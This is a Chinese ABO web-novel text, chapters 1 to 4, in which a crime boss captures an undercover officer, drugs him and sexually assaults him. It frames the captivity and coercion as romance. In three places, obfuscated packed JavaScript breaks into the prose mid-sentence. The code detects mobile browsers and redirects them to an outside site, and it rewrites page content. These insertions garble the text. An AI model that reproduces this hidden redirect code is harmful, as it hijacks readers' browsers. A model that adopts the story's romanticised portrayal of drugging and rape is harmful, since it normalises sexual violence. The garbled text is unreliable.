《被卧底目标强制喜欢了》 1. 卧底败露 沈闻也没想到自己的身份会暴露得这么猝不及防。 耀眼的别墅客厅内,一声枪响,鲜血四溅,温热的红色液体刹那便沾染上沈闻白皙的脖颈。 瞳孔在一瞬间紧缩,沈闻猝然回眸,跪在旁边的组员已经被一枪击穿心脏,成股鲜血流淌到地面,而他死的前一秒,还在为了保命振振有词指认他身旁的人就是SAN安插下来的卧底,联盟一区无背景少校军官,卧底代号—— “银”! “拿下他。” 低沉的男声从头顶响起。 沈闻回头,视线正好与靠在沙发间的Alpha相撞。心跳漏拍瞬间,他神色一凛,站起身径直冲向窗外! 来自S级Alpha的威压让守在窗边的几人脚下皆是一软,来不及制止,只听“砰”一声,枪声裹挟玻璃破碎的巨响猝然冲出窗外,无数细小碎片劈头盖脸坠落,银灰发色的青年毫不犹豫往外,趁着窗外夜色径直从六楼一跃而下! “愣着干嘛?” 坐在沙发间的男人语气不辨喜怒,直到他开口,周围几个手下才猝然回神: “去追,他受伤了,跑不远。跟紧点别让人在外面倒太久。” _ 细密的刺痛带着令人难以控制的睡意再次涌上大脑,无人的小巷中,逃了一路的人终于支撑不住般扶着墙,一下跪倒在地。 刚下过雨的地面还泛着湿意,墙角生着青苔。 半跪于地的青年深吸一口气,偏过头闷闷咳嗽两声,很快又从地上重新站起。 身后是随时都可能追上来的追兵,顾承厌的人可不是个个都像刚才窗边几人那样草包。回想起一年来在联盟三区的经历,沈闻很清楚,在这种混乱不堪的黑色地带自己被抓回去将面临多大麻烦,所以…… 不能被带回去。 寒风刮过身体,却并没能带走太多麻醉剂的药效。思索间,沈闻已经拔出腰间的匕首,面不改色一刀划向自己左手小臂! 下一秒,鲜红的血液随刀尖溅出,鲜明的痛感传来,受影响的大脑终于又清醒几分,浑身狼狈的人挣扎着继续往前走去。 “在这边!这边有血迹!” 不远处传来搜索的动静,沈闻一手捂着还在渗血的右肩,右手紧攥刀柄,悄无声息往小巷深处又退了几步,借着墙角的阴影完全掩盖住自己的身形。 搜索的声音更近了,最近的脚步甚至就从隔壁那条巷子里传来。鞋面踩在潮湿的地面不可避免发出细微的声响,来人很近了,沈闻攥紧刀柄的指节不自觉更用了点力。 啪嗒—— 一滴水从屋檐滴落,荡开的水洼表面映出巷口漆黑的身影。 沈闻紧贴在墙边,余光瞥见黑暗中冷光一闪,持枪的人径直从巷口走过,似乎并未察觉小巷间还有另一个人存在—— 就怪了! 只是一瞬间,倒转回来的黑衣人举枪瞄准,动作一气呵成下一秒便将枪口对准巷中人影,沈闻一个箭步,几乎在对方举枪瞬间一把便将那人的枪支打落在地! “沈闻,好歹咱俩也算共事一场,给哥一个面子,别让我们为难成吗?” 来人在手枪掉落瞬间便已经毫不犹豫抽出腰间匕首,刀刃相撞间,这人一边后退,一边不疾不徐开口。 沈闻皱着眉没做回应,手上匕首丝毫不留余力往面前之人身上招呼去,放在以往眼前这位同为S级的Alpha本不会对自己造成多大威胁,可是现在。 沈闻能清晰感受到麻醉剂正不受控制一点点侵蚀自己的大脑,再这样下去,自己被眼前这人抓住是迟早的事。 “顾老板不会放过组织内任何一个奸细,你知道的,如果你现在跟我回去,或许我可以替你求个情让你后面少受点罪。” 转眼间俩人又过两招,小巷间的异动很快引起周围其他人的注意。这人嘴上说着要替他求情,手上刀刃却次次都往沈闻要害刺去,沈闻攥紧刀柄接下反击,两次、三次,终于在对方某次出招时手上力竭般突然一松。 闪着寒光的匕首下一秒便从手中脱离径直扎进墙缝。 沈闻当机立断后退数步,极限躲过两枚子弹后立马朝向巷子深处冲去。黑暗中甚至连建筑物的轮廓都看不清,但沈闻就是能敏锐判断出周围地形,抬手一把攀上旁边的支架试图翻墙越过死胡同对面。 可惜还是晚了一步。 手臂处再次传来一阵刺痛,沈闻只觉拉住支架的手一下便泄了力,麻痹感瞬间蔓延遍整个右手,伴随一声闷哼,墙上的人影重重摔落在地! “咳咳……” 巷子里刹那只剩微弱的咳嗽,在死寂间不断回荡开。 青年一张脸早已失了血色,苍白漂亮的脸上沾满血渍与泥泞的混合物,一双灰浅色的桃花眼却明亮依旧,眼皮微微撩起,不含任何情绪看向来人。 一众端枪的黑衣人中,领头的掏出一支针剂,目光直视向地上的人,片刻,恭恭敬敬将麻醉剂递给身后一位男人。 “不愧是沈少校,都这样了还能跑这么远啊。”来人喃喃道。 沈闻没怎么听清对方的话,周围几个人围上前,他本想再试着反抗,奈何周围人数太多他根本反抗不过。 被攥着的右臂早已没了知觉,沈闻试着挣扎,左手却被更用力地压住。上十道枪口黑洞洞对准小腿位置,顾承厌微微俯下身,黑影几乎将眼前的人完全笼罩: “别挣扎了,干爹,你逃不掉的。” 下一秒,后颈一阵细痛。 等沈闻反应过来,顾承厌已经将一整支麻醉剂全部尽数注入他的身体,铺天盖地的眩晕感瞬间便将中药之人完全吞噬,身体一下便失了力,沈闻闭上眼,仿佛一只任人摆布的玩偶,直直倒入面前之人怀中。 “沈闻,乖一点不好吗?”顾承厌似是叹了口气,打横抱起怀中的青年。 周围一众下属此刻也收起枪来,低着头,没上膛的枪支径直放回腰间。很快,贫民区这一破败的小巷重归于寂。 …… 再次醒来,周围背景已经不出意外转化为牢房中冰冷坚硬的石板墙。 空气中弥漫着一股若有若无的血腥味,沈闻缓缓睁眼,入目便是对面挂满一墙的审讯器具。 身上麻醉的效果还没完全褪去,脑袋如同被钝器砸过般疼。沈闻只觉思维似乎也不大跟得上了,睁眼望着墙面发愣了十几秒,直到身旁传来一声轻微的“咔哒”声,沈闻才终于回过神,侧眸往旁边望去。 “醒了?” 门口传来顾承厌的声音。 被束缚在电椅上的人闻言睫毛微不可察颤了颤,沈闻眼底闪过一丝惊讶,很快又尽数收敛,静默看向门口西装革履的男人。 “要喝水吗?” 审讯室昏暗的光线下,顾承厌走到对面一张木桌前,接了一杯温水,随后又来到沈闻面前:“嗯?” 沈闻没作答,只是半垂着眼望向地面。 直到视线中出现一双黑色皮鞋,盛着满满一杯温水的玻璃杯被递到嘴边,他顿了顿,就着对方的手咽下一口水,才终于开口: “顾先生如果想审问关于SAN的事,不好意思,无可奉告。” 说话间,沈闻动了动手,手腕上的镣铐与扶手相撞发出“哐当”一声脆响。 手腕处已经被摩得泛红,被束缚在电椅上的人脸上却没有丝毫畏惧。银灰的发丝略显凌乱散在额前,往下是一双极其漂亮又不失凌厉的眉眼,白皙的脖颈纤细到仿佛一只手就能掐断,微敞开的领口下还隐约有一颗朱砂般的红痣点在颈窝…… 毫不夸张的说,SAN这位卧底真是生了副比Omega都要漂亮的皮囊,不论放在联盟三区还是这个联盟都是无人能及的程度,以至于过往每一个见过他本人的人第一句话总会句惊讶 ——这居然是个Alpha! “我怎么舍得对你动刑?” 顾承厌收回手,随手将水杯放到一边。审讯室目前只进来了他一人,顾承厌站到电椅面前,巨大的阴影几乎将沈闻整个人完全笼罩: “再说了,SAN往我身边安插了这么多人,我又何必偏选最硬的一张撬?” 像是刻意应和顾承厌的话,隔壁牢房突然响起一阵惨叫。黑鸟总部的牢房隔音其实挺好的,但架不住隔壁惨叫实在过于惨烈。 沈闻听后并没有什么反应,一双眼睛依旧半垂着望向地面: “那顾先生来这儿干嘛?出气?” “被身边亲近的人骗了这么久,换谁都会生气吧?”刻意咬重“亲近”二字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318935|199019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,顾承厌隐隐压抑着什么,俯下身,低头凑近了面前的人: “干爹,前天那批货也是你‘送’出去的吧?我对你难道不好吗?金钱、地位我哪样没有给你?为什么还是要帮他们做事?” 被束缚的人听到这个称谓后背微不可察一僵,但面上平静依旧,沉默着仿佛毫不在意对方接下来会对自己做什么。 垂落的眼睫遮住了他眼底的神色,但顾承厌还是从那平静的脸上看出一种无所谓的态度,突然伸手,虎口十分有力掐住对方的脖颈逼迫沈闻抬头看向自己: “联盟那群人给了你什么好处,让你堂堂一个少校亲自下来第三区卧底那么多年?不然你告诉我,或许我可以给你更多。” “……顾先生这是想收买我?” 沈闻神色淡然,视线却因为对方突然的动作再次被迫投落到眼前这位黑鸟最高掌权者身上。 顾承厌今天没戴眼镜,那双近乎纯黑的眼眸少了镜框遮挡,周身的锋芒便再也压抑不住压迫往周围每一个角落。 沈闻脖颈被对方紧紧扣着,面上镇定依旧,实际在对方靠近时手心就已经渗出层薄汗。 说是干爹,但实际算下来,沈闻对自己这个“干儿子”其实并不了解。 五年前他在顾衷面前崭露头角获得赏识,恰逢顾承厌这个私生子被接回黑鸟,以顾衷这种逛遍花丛遍地留子的性格自然不会在意区区一个私生子的死活,把人扯到面前一看,摆摆手,张口就让对方认沈闻做了干爹。 这几年沈闻对自己这个干儿子也并没有太多关心,最多不过派手底下的人去探望一下人是否还活着,逢年过节发点红包。那个时候他与顾衷那个老不死的古董大概都没想到,短短几年后,干掉一众“兄弟姐妹”坐上了黑鸟这把交接椅的竟会是顾承厌这个私生子。 “不是收买,是让你跟我。”像突然想到什么,顾承厌语气缓了缓,再开口已然不像刚才那般僵硬:“跟我在一起吧,干爹,我不会亏待你的。” “什么意思?” 沈闻有些发懵,似乎没明白过来对方那个“在一起”是什么意思。 他怀疑自己耳朵出了问题,或是自己理解有误,但当对上顾承厌那双黑眸,那双黑眸中盛满的欲望却不像作假。 “字面意思。干爹,别装傻。”顾承厌回复。 这人是认真的?! “我是个Alpha!”沈闻皱紧眉,漂亮的一双眼因着对方不要脸的僭越已经升起点点不悦。 “Alpha也没关系。”顾承厌轻笑一声,仿佛没看到对方眼中的神情,一摆手,审讯室外很快又进来几个人。 这几人沈闻都有印象,都是顾承厌身边的亲信。其中一人替沈闻解开身上的镣铐,顾承厌也终于松开手,从椅子上站起了身,像是要领着人去其他地方。 “干爹,请。”顾承厌亲手拉开了审讯室大门。 沈闻双手被反压着,挣扎不过,只能被迫跟着几人往审讯室门口走。一边走,同时心底的不安愈发强烈: “你要带我去哪儿?” “到时候你便知道了。” 几人沿着楼梯从地下上到一楼,又来到电梯前。沈闻一路上都在试图挣脱,可惜背后俩人的力气比这个状态下的他大太多,电梯一路上升到二十四层往上,沈闻心中的不安达到巅峰。 二十四层往上,是顾承厌以及其他黑鸟高层的私人住所! “叮——”,电梯最终停在第三十二层,沈闻眉头紧蹙着奋力挣扎,却被身后一股更大的力道一把推出门,下一秒,电梯门重新关闭。 偌大的客厅瞬间只剩两个人,周围没开灯,沈闻只能借着落地窗外的灯光勉强看清身边那道比自己高出半个头的人影。 “顾先生这是干什么?”沈闻后退半步,脖颈却被人突然掐住。 顾承厌低笑一声,手上并没用太大力,却已经让未从麻药状态下彻底缓过来的沈闻挣扎不开。 “干什么?当然是你啊。” 他扯着沈闻,将人往屋内带的同时,语气阴冷而缱绻:“干爹。” “我本来不想这么快动你。” “可你这样真是太让我生气了。整整一年,如果不是被我的人发现,你还打算继续骗我多久?嗯?” 2. 疯子 “顾承厌!你疯了吧?!” 房门被重重撞开,沈闻一个踉跄,整个人径直被摔在地面。 卧房内铺了层厚实的地毯,拉扯下凌乱不堪的人坐在绒毯间,脸上混合着震惊、不解以及难以掩盖的愤怒,露出的脚踝还带着一圈红痕,两指宽的,放在白皙纤细的脚踝间异常显眼。 “我们两个都是Alpha!”沈闻的语气早已不复之前那种平静。 他怎么也想不到顾承厌居然真会对自己感兴趣,明明两个人之前几乎没有任何正面交集,更何况自己还顶着个对方“干爹”的名头,他怎么能—— 身后,整个房间整洁得不像住过人,简直就像为了今晚才特意临时收拾出来的一般,桌上还放着堆未开封的瓶罐,沈闻往后退了退,余光突然瞥到床脚一根银色脚链。 “还以为干爹在三区待久了,对这种事早已经见怪不怪了。” 然而顾承厌只是用平静到吓人的语气回复: “不过这个你倒不用担心,我给你准备了这个,不会让你太疼的。” 房间门被反锁,Alpha目光晦暗不明走进室内拿起桌面一瓶东西。 沈闻下意识又往后缩了缩,平日里哪怕枪林弹雨中都能保持面无表情的人,此时此刻眼底却货真价实多了几分慌乱。 眼看眼前的身影逐渐逼近,沈闻挣扎起身欲图反抗,却在下一秒被一阵强烈的威压逼得脚下一软。 “你这个疯子!” “干爹是第一天认识我?”顾承厌笑了笑,再一次伸手掐上沈闻下颚。 S级Alpha的信息素转瞬间便充斥满房间每一个角落,强烈的压迫感压得沈闻几乎喘不过气。他死死咬住下唇,别过脸拼命想要摆脱顾承厌桎梏,然而这根本就是徒劳。 “唔……” 辛辣的液体顺着喉咙滚落,更多的酒液从嘴角溢出沿脖颈沾湿了衣领。 沈闻被迫咽下两口掺了药的红酒,脸色早已一片惨白,顾承厌刚将酒瓶从他唇边拿走,下一秒,沈闻便捂住嘴不断咳嗽起来。 对面,顾承厌面无表情松手,将空酒瓶随手丢在一旁。 沈闻闷咳两声,浑身都止不住开始打起细细的颤。灰色衣领被酒液沾湿紧贴在皮肤表面,干净的脖颈被染脏,他抬起头,看向顾承厌的那双眸子中早已充满生理性泪水: “顾承厌,你有种直接杀了我,不然……” “不然你又能怎样?” 沈闻话还没说完,顾承厌便已经低头凑到他身边。温热的气息洒到耳边,沈闻再次挣扎起来,后颈露出的腺体却猝不及防被人一口咬住。 “啊——” 陌生信息素注入腺体刹那,毫无防备地,沈闻只觉后颈一阵撕心裂肺的疼。剧烈的排斥反应几乎要将他生生撕碎了般,就连眼前的画面,似乎都在剧痛传来刹那变得模糊不清。 但也只是瞬间,剧痛便如同潮水般迅速褪去。 沈闻身旁,顾承厌在惨叫响起瞬间便已经迅速松了口。 他知道Alpha标记另一个Alpha会让对方受疼 ,但他没想到沈闻身上的排斥反应竟会如此严重。 理智在这一刻一下回了笼,顾承厌几乎是立马便退开来看向对方。 他的怀中,只见沈闻闭着眼,苍白的薄唇紧紧抿着,额间碎发也已经被冷汗浸湿,眼角,不知是泪是汗的液体顺着脸颊滑落,滴答,落到顾承厌手心。 “沈闻?”顾承厌伸手替人撩开额间的湿发。 沈闻此刻已经从剧痛中缓过神,睁开眼,湿漉漉的眼睛满含厌恶瞪向顾承厌。 然而对面,顾承厌却仿佛什么也没看到,小心翼翼将人从地面抱起往床上走。沈闻咬着牙,从牙缝中挤出几句连脏话都称不上的咒骂,双手无力地去捶打对方,但很快,他的双手便被顾承厌一把扣住。 紧接着连咒骂的力气也没了。 药效上身,滚烫的温度带着令人抓狂的酥痒铺天盖地便将床上之人吞噬。下唇在咬合下渗出丝丝血渍,沈闻身上抖得更厉害了,他好不容易才将口中的呻吟咽回喉咙中,然而下一秒,顾承厌手上陡然用力。 “不、唔……” “放松,别咬伤自己。”施暴者的动作温柔却不可违抗。 沈闻呜咽两声,恍惚间听到顾承厌凑到他耳边说了什么。 然而耳膜仿佛被水堵住,视线也逐渐被眼泪模糊,一切都变得模糊不清,被按在被褥间的人仿佛无边黑暗中一只孤船,除了抓紧面前的桅杆,别无他法。 …… “37.8度,有点低烧,下午要是再不退我再来给您开点药。” 家庭医生叮嘱完注意事项便收拾东西退出了房间,紧闭的窗帘前,灯光从侧边洒落,落在沈闻略显苍白的侧脸。 他此刻正半倚在床头,脖颈处绑着两圈绷带,眼尾因昨晚哭太凶还有些浮红。 大概是天生骨架偏小的缘故,一米八的身高,沈闻整个人看上去却比其他Alpha都要小上一些,纯白的居家服挂在他身上也显得有些空荡。端着餐盘进来的服务生进门后似乎愣了一下,直到沈闻往门口瞥去一眼,这人才匆匆低下头,把餐盘端上前: “沈先生,这是老板给您安排的午饭。” “知道了。”沈闻收回目光。 房间已经被收拾干净,但残留在空气中的信息素却始终提醒着沈闻昨天晚上这里发生过什么疯狂的事。 身上哪里都疼得厉害,后颈处红肿的腺体更是像被火燎过一般,头也疼,沈闻用力闭了闭眼,像是努力压下了什么,半晌,才向对方说: “先放那儿吧。” “老板说,让看着您把东西吃完。”服务生语气抱歉。 “我现在不饿。” “可是老板说了……” “让顾承厌自己来跟我说!”沈闻语气突然加重。 送饭的服务生被吓了一跳,沈闻似乎也意识到自己的失态,疲惫地朝对方摆摆手,示意对方出去。 “那、那我给您把东西放这儿了。” 那服务生见状也没敢多说什么,转身匆匆离开房间。“咔哒”一声,房门重新关上,沈闻缓缓吐出一口气,仰着头合上双眼。 - “怎么不吃饭?” 服务生离开没多久,约莫十多分钟,房间门再次被打开。 顾承厌走进门,肩上还披着件黑色军衣外套,淡淡的血腥味萦绕在衣服周围,看得出,这人大概刚从底下负二层上来。 沈闻头也没抬,视线就这么静静地,垂落在自己被银链锁住的手腕: “顾承厌,你到底想干嘛。” 顾承厌将外套脱下挂在一边,也没理会沈闻冰冷的态度,走到床边,伸手想去触碰对方缠着绑带的后颈: “还疼吗?” “别碰我!”沈闻一巴掌拍开顾承厌,抬眸时眼底是不加掩饰的厌恶。 事情究竟为什么会发展成现在这样,他也不知道。只是手被拍开瞬间,顾承厌的脸色明显有些不善,但不知是不是考虑到沈闻这会儿身体不适,顾承厌并没多说什么,转而端起一旁的白粥。 “沈闻,我是真心喜欢你的。” 顾承厌说着,吹凉手中的粥递到沈闻嘴边: “现在你乖一点,不要惹我生气,卧底的事我们一笔勾销。” “一笔勾销?”仿佛听到什么好笑的事,沈闻冷笑一声,抬手一把拍开面前的瓷碗: “顾承厌,你这样有意思吗?” 把组织抓出来的卧底关在私人住宅,事后还要继续把人囚禁起来当个金丝雀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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明明秋天才刚开始,体感温度不低于二十四摄氏度,但他此刻却无比真切地感受到了寒冷。 当年在军校组织爬雪山时都没这么冷过。 刺骨的寒意丝丝缕缕钻入骨髓,后颈突然一阵刺痛,沈闻猛地闭上眼,大脑先是被这突如其来的刺痛惊得一片空白,一手捂紧后颈,半晌才后知后觉。 又来了…… 先天性信息素紊乱综合症。 他已经记不清成年后自己有多久没感受过这种感觉。 后颈仿佛被一根长针刺穿,沈闻只觉整个人都有时间恍惚,只能被迫咬唇抵御,后背紧紧弓着。 门口,送饭进来的服务生一眼便看到抱膝蜷缩在床边的人: “沈……沈先生,您没事吧?” “没事……”沈闻摇头,深吸一口气很快便从床上直起身。 后颈处的疼痛总是来的快去的也快,沈闻闭眼缓了片刻,很快便从中缓过神,接过对方手中的白粥: “吃完这个就可以了吧?” 服务生:“还有这两碟小菜……” “知道了。一起端过来吧。” - 入夜。 沈闻今天一整日大脑都昏昏沉沉,晚上被盯着吃了药,不到九点便已经上床入睡。 等他睡熟,夜里十一点半,房间门被打开一条缝。 门外白光倾洒进黑暗,顾承厌默然走进房间,没发出任何声响走到床头。 “干爹?”来人试探性轻喊一声。 大概是药里存在一些安眠成分,平日半点风吹草动都能陡然惊觉的沈少校此刻睡得很死,半张脸都埋在被子里,身体微蜷,漂亮的眉头还轻轻皱着。 “干爹,你睡了吗?” 隐于黑暗中的人又明知故问一遍,眼看沈闻还是没回应,才缓缓叹出一口气,面无表情呢喃道: “为什么要背叛我?” 一边说,俯身轻柔地替沈闻抚平眉心同时,指尖留恋般继续往下滑: “那个裴林对你来说有那么重要?” “算了,不重要了,反正从今天开始,我会让你身边永远只有我一个。” 3. 禁闭 “他今天怎么样?” 回到三十二层已经是深夜。晚上十一点半,顾承厌又是顶着一身血腥味下了电梯,守在门口的男佣见状立马上前,作势要去接对方手中的东西,却被顾承厌摆手拦下。 客厅中,正坐在沙发上看手机的男人听到动静站起身,视线停留在屏幕上两三秒,而后才抬头看向对面。 “回来了?”金文书只往门口随意瞥去一眼,随后又立马低头继续回消息:“跟前两天一样,看得出顾老板的威胁真是十分立竿见影啊。” 没有讽刺,只有奇怪的感慨。 “实在很难想象沈闻好歹也是个少校居然能被你抓住把柄这样威胁。不过比起这个,我还是更好奇另一件事——” “沈闻为什么会亲自来三区卧底?还一藏就是整整五年……这不是很奇怪?一区那群高官已经没人可用了吗?” 顾承厌听说人没事,没理会金文书的问题转身就往楼上走。走到一半,又突然想起什么似的脚下一顿: “他的腺体你检查过没?有没有什么问题?” “顾老板,”金文书闻言抬起头,无语般推了推鼻梁上金框眼镜: “我是学医,但不是机器啊喂。你这一天到晚把人关在房间又不带人去医院,我用肉眼哪儿看得出什么问题?” “不过一个S级Alpha,哪儿那么容易出问题?” “现在还不是时候。”顾承厌一边回答,提着手上黑口袋便继续往前走。 联盟一区那些人这次是铁了心要打压这边的势力,如今外面很乱,不方便。 楼上房间里,沈闻还没睡。 顾承厌开门进来时,他正窝在床上,手里捧着一本《泰戈尔诗集》,借着床头调亮的灯光缓慢阅读。 被顾承厌囚禁在这儿四天,没有与外界通讯的电子设备,脚上还铐着仅够在房间及浴室自由活动的脚链。 沈闻唯数不多可以用来打发时间的便只剩下看书,以及望着窗外愣神。从尸体解剖图鉴到战争军事理论,沈闻林林总总让人送来不少书籍,不过很显然,文艺这一类的书并不十分适合他。 啪—— 放在膝盖上的诗集突然滑落在地面,床上之人陡然回神,这才发觉自己又不知不觉差点又睡着了。 距离那场动乱已经过去两三天时间,现在回忆起那晚的场景都好像梦一样。 然而后颈时不时传来的刺痛又始终提醒沈闻。 那一切都不是梦,自己真的被顾承厌……现在还被囚禁在了这儿。 外面是什么情况暂且未知,不过就凭顾承厌每天回来时身上隐约的那股血腥及潮湿的气味,黑鸟与一区这一场斗争还没结束,获胜的天平一如既往往黑鸟这边倾斜。 SAN那边暂时靠不上了,想出去还得他自己找个机会。 “这么晚还不睡?” 思索间,门口突然传来一声轻响,顾承厌推门走进房,将提来的东西放到床头柜。 沈闻侧眸瞥去一眼,只见顾承厌从口袋取出一个保温桶,桶里装着类似鸡肉煲的汤,枸杞与其他各种药材的气味混合着飘散往整个房间。 “饿了吗?要不要吃点东西?”顾承厌问。 “……” 沈闻没回话,准确来说,自那场混乱后,他就没再与顾承厌再多说过一句话。 甚至连个眼神都没给身旁,沈闻垂下眸,权当没注意到对方,捡起一旁的诗集继续阅读。 “喝了。”顾承厌盛起一碗汤坐到沈闻身边,语气却并不显强硬:“特意给你熬的,你太瘦了,多补补。” “不喝。”沈闻神色漠然看向窗外。 顾承厌见状也没勉强,一言不发将碗放回桌面,随即又将外套随意往椅背上一搭,看样子一时半会不打算走: “不喜欢就算了。干爹,我们谈谈?” “我跟你之间有什么好谈?”沈闻冷笑一声,视线甚至没移动过,仿佛连多看对方一眼都嫌恶心。 身体上的难受已经随时间流逝消散殆尽,但心理上的难受却依旧存留。 说到底任何一个Alpha被另一个Alpha压着干出这种事心里都会不好受,顾承厌也勉强能理解。只是沈闻那幅冷淡的模样实在有些让人伤心了,顾承厌再开口,语气间已然莫名带上一丝似有似无的不悦: “可干爹如果一直以这种态度对我,最后受伤的也还会是你自己,不是吗?” “你又威胁我?”沈闻皱了皱眉,满是厌恶的视线终于从窗户移开落向另一边。 床沿边,顾承厌坐回椅子,双手手肘撑在膝关节: “沈闻,不要逼我用审犯人那种手段来教你听话,我不想伤你。” “顾老板大可以直接把我丢到负二层自生自灭,我没意见。” 又是一声冷笑,沈闻撩起眼皮,话语间仍是那副无所谓的态度:“你不是向来厌恶别人的背叛?现在又假惺惺做出这副样子给谁欣赏?” “你以为我不敢?”不知哪个字突然刺激到了对方,顾承厌闻言声音一下变沉,紧握的手上青筋暴起: “沈闻,你也知道你自己现在就是个阶下囚,不要一而再再而三挑战我的底线!” 沈闻:“底线?但凡你有点底线就不会做出那种恶心的事,顾承厌,你可真让人恶心!” 仿佛火点上浇去汽油,此言一出,本就隐隐燃烧的火焰瞬间便以一个极其恐怖的速度燎便整个平原。 顾承厌闻言话音一顿,终于彻底冷下脸,视线再次划过面前人清冷漂亮一张脸时,眼底早已是一片骇人的粘稠晦暗:“好啊,既然干爹执意要这么认为。” “那我们就走着瞧,我倒要看看,你到底能跟我这样恶心的人犟多久。” 房门撞合的声响陡然炸起,顾承厌拎起外套径直离开。 重归于寂的房间内,沈闻脸色惨白坐在床边,等门口的人走远了,才终于捂着嘴,踉跄冲进洗手间。 “呕——” 双腿脱力的人跪倒在马桶边。 烟草气,还有说不清道不明的刺激性味道,后颈腺体又是一阵剧烈的疼痛,顾承厌释放出的信息素就仿佛一张巨网,密不透风便将他牢牢包裹在其中压得他动弹不得。 好难受…… 视线早已被泪水模糊,沈闻低头撑在马桶边一动不动缓了好一阵。等阵痛过去,才扶着墙从地上起身,接水洗了把脸。 “呼……” 水滴顺着发丝滴落,沈闻抬头,镜子里形容狼狈的人也跟着抬起了头。 即使狼狈,但依旧好看。 镜子里的人眼尾泛着薄红,唇上也因沾水而现出一抹艳丽的红,一种破碎到极致的美感,曾经有人这样评价,就连一区最出名的男娘都不及他万分之一,独一份极其令人垂涎的存在。 像是想起什么,沈闻嫌恶地将视线从镜子前收回,匆忙离开洗手间。 “沈先生,” 金文书进到房间时,沈闻早已恢复平静,借着床头灯光继续阅读那本未读完的《泰戈尔诗集》。 也该到时间休息了,然而沈闻此时却并没有多少睡意。睡不着,索性便靠在床边给自己做个催眠,没想到催眠没做完,门外便再次有人推门而入。 “您没事吧?”金文书扶了扶鼻梁上的眼镜,一双金眸含笑打量向眼前之人: “您看上去脸色不太好。” “有事?”沈闻动作缓慢合上手中的书。 “倒也没什么事,只是来看看您怎么样了而已。”金文书耸耸肩:“毕竟先天信息素紊乱可是要命的病,您要是死在房间里,顾老板就该来找我麻烦了。” “多谢关心,暂时死不了。”沈闻这样回复。 “那就好。那沈先生早些休息吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318937|199019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我便不打扰你了。” 金色的眼眸笑起来几乎成了一条细线,沈闻沉默着看着对方离开房间,半晌,才关上灯。 黑暗将整个空间完全吞噬。 顾承厌站到阴森黑暗的审讯室门前,身旁的手下忙不迭上前替人打开铁门。室内弥漫着一股浓烈的血腥味,唯一的光源只有盏开得不算亮的审讯灯,顾承厌往旁边递了个眼神,手下立马心领神会叫停审讯。 下一秒,审讯灯被开到最大,尖锐的白光瞬间照亮这个审讯室。 对面,一个浑身是血的男人双手皆被束缚带紧紧捆绑,露在外面的皮肉没一块是完好的,他整个人毫无生气坐在电椅间,审讯灯打在脸上,他也只是轻微皱了皱眉。 “问出什么了?”顾承厌冷冷开口。 谁也不知道眼前这位黑鸟的掌权者到底怎么了,明明半小时前还好好的,现在再一出现周身气温直接降了好几十度。周围几个下属见状皆是一脸战战兢兢,回答时也十分谨慎,生怕自己一个出错就直接触了自家老大的霉头: “关于、关于SAN,这不是上头又要换届选举了,那老司令为了跟上面表忠心保他头上那顶狗帽就拿咱开刷。” “这件事那上面也是默许了的,并且大概率还给了不少支持,不然就凭他们一个不可能把外面搅得那么乱。然后就是,这段时间三区莫名的人口失踪似乎跟SAN也有点关系,他们上头最近有发关于寻找B级以下劣质Alpha的任务,这人嘴硬的很,更多的就……” “嗯。”顾承厌一手支撑着头,听到后面眉头一紧。 人口失踪不算什么大事,在联盟三区光是鱼龙混杂的贫民区里每天就有数不清的人消失不见。但如果这些失踪的劣质Alpha是被SAN抓走了…… “继续问。问清楚他们到底想干嘛。” - 像有意要磨人,第二天一早,屋内便进了两个人干净利落往窗户蒙上一层黑布。 室外的光线被完全遮挡,一日三餐饮食也被一次性面包饼干代替,沈闻这下完全失去了判断时间的工具,就连每日送来平衡信息素的药,也在指示下停止了配送。 顾承厌是想用这种方式逼得人服软。 沈闻看着屋里的窗户被人拿黑布彻底封死,脸上神情并没有太大变化。 毕竟这种程度的囚禁对一个受过专业训练的人来说根本就不算什么。 以往也不是没在地下室里被囚禁过,相比那些阴暗潮湿的角落,这个房间的环境简直不要太好,只是这样一来,腺体疼痛的频率越来越高了。 吃穿用度被克扣,缓解药自然也被一并扣走,没了药物压制,被勾起的信息素混乱只会越来越严重,直到第二天中午,腺体开始隐隐作痛。 彼时沈闻正躺在床上午睡打发时间。无所事事的下午,房间里各种书籍也被尽数收走,宛若精装样本房的20㎡房间,唯一残余的生活气息也只剩沙发旁的垃圾桶以及床头柜上仅一个按键的呼叫器—— 顾承厌说什么时候想通了,可以随时与他联系。 后颈处的疼痛来的快去的也快,只是片刻功夫,那阵刺痛便又完全消失。不过沈闻明显也没了睡意,坐起身,赤脚过到对面沙发上。 独有一人的卧室简直死寂到吓人。 小桌上是大堆足够食用一月有余的干粮,窗外透不入半点光线,现在大概午后两点到四点之间吧,沈闻也不是很确定,站在沙发边走神片刻,接着坐上前继续思考逃出去的对策。 三十多层的高度,没有卡又无法开启的电梯,外面还不知道有多少个守卫多少层大门…… 思来想去还是只有继续等待这一个办法。 就是不知自己会先等来机会,还是一场足以致命的信息素爆发式紊乱。 略显烦躁揉揉眉心,沈闻仰靠上沙发,视线静默落向旁边的大门。 4. 信息素紊乱 